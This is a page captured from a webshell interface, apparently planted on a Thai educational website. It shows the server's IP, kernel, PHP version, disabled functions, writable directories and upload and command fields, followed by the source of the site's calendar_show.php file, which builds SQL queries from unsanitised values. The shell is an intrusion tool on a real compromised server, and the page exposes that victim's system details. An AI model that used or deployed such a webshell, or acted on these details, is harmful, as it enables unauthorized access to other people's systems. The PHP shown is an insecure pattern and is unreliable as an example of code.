403Webshell
Server IP : 202.29.229.35  /  Your IP : 52.15.109.247
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/system_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/system_admin/calendar_show.php
<div class="box">
  	<div style="width: 100%;">
  	  <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td><div class="fdefault fbold txt-topic display-inline-block" style="width: 400px;" >ปฏิทินการศึกษา</div></td>
        <td align="right" valign="top"><div class="fgray" style="line-height: 20px;"><!-- <a href="?i=tab_newlbtech"  class="link-orange">ย้อนกลับ...</a>--></div></td>
      </tr>
    </table>
    <div class="line-bottom-red display-inline-block" style="width: 700px;" ></div>
    <div class="link-default-org" style="margin-bottom: 5px; padding:5px">
    
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
  
  <?php
  									function web_count_check($path_file,$set=0){
									$filename =$path_file;
									$fp = @fopen($filename,"r");
									$number = @fread ($fp,filesize($filename) );
									@fclose($fp);
									if($number == ""){
									$number = 1;
									}else{
									$number=$number+$set;
									}
									$fp = @fopen($filename,"w+");
									@fwrite($fp,$number);
									@fclose($fp);
									//@chmod($filename, 777);
									return $number;
									}
  					$sql="select * from  tbl_calendar order by df_ID desc";
					$result=mysqli_query($connect1,$sql);
					$num_dp=mysqli_num_rows($result);
					while($rs=mysqli_fetch_assoc($result)){
						
					$dp_ID=$rs['dp_ID'];
					$df_ID=$rs['df_ID'];
					$number = web_count_check("count_calendar/".$df_ID.".txt");
					
					
						
						$sqlwork="select * from tbladmin where addepartmentID='$dp_ID' ";
						$resqlwork=mysqli_query($connect1,$sqlwork);
						$rswork=mysqli_fetch_assoc($resqlwork);
							$workname=$rswork['addepartment'];
							$bg=0;
					if($bg == "#F5F5F5") {
						$bg = "#FDFDFD";
					} else {
						$bg = "#F5F5F5";
					}
					
		  ?>
  <tr bgcolor="<?php echo $bg?>"  >
    <td width="5%" align="center" valign="middle" bgcolor="<?=$bg?>"><img src="images/icon07.png" width="20" height="12" /></td>
    
 
    
      <td width="95%" align="left" valign="middle" bgcolor="<?=$bg?>">&nbsp;&nbsp; <a href="system_admin/file_calendar/<?php echo $rs['df_file'];?>" target="_blank" class="link-default-org"><?php echo $rs['df_title'];?>&nbsp;</a> [เปิดอ่าน :&nbsp; <?php echo $number; ?>&nbsp;ครั้ง] </td>
      
    <!--<td width="95%" align="left" valign="middle" bgcolor="<?=$bg?>">&nbsp;&nbsp; <a href="?i=councalendar&df_ID=<?php echo $df_ID;?>" class="link-default-org"><?php echo $rs['df_title'];?>&nbsp;</a> [เปิดอ่าน :&nbsp; <?php echo $number; ?>&nbsp;ครั้ง] </td>-->
  </tr>
  <?php
  $num=0;
							$num--;
				}
				
		  ?>
</table>
    </div>
  </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit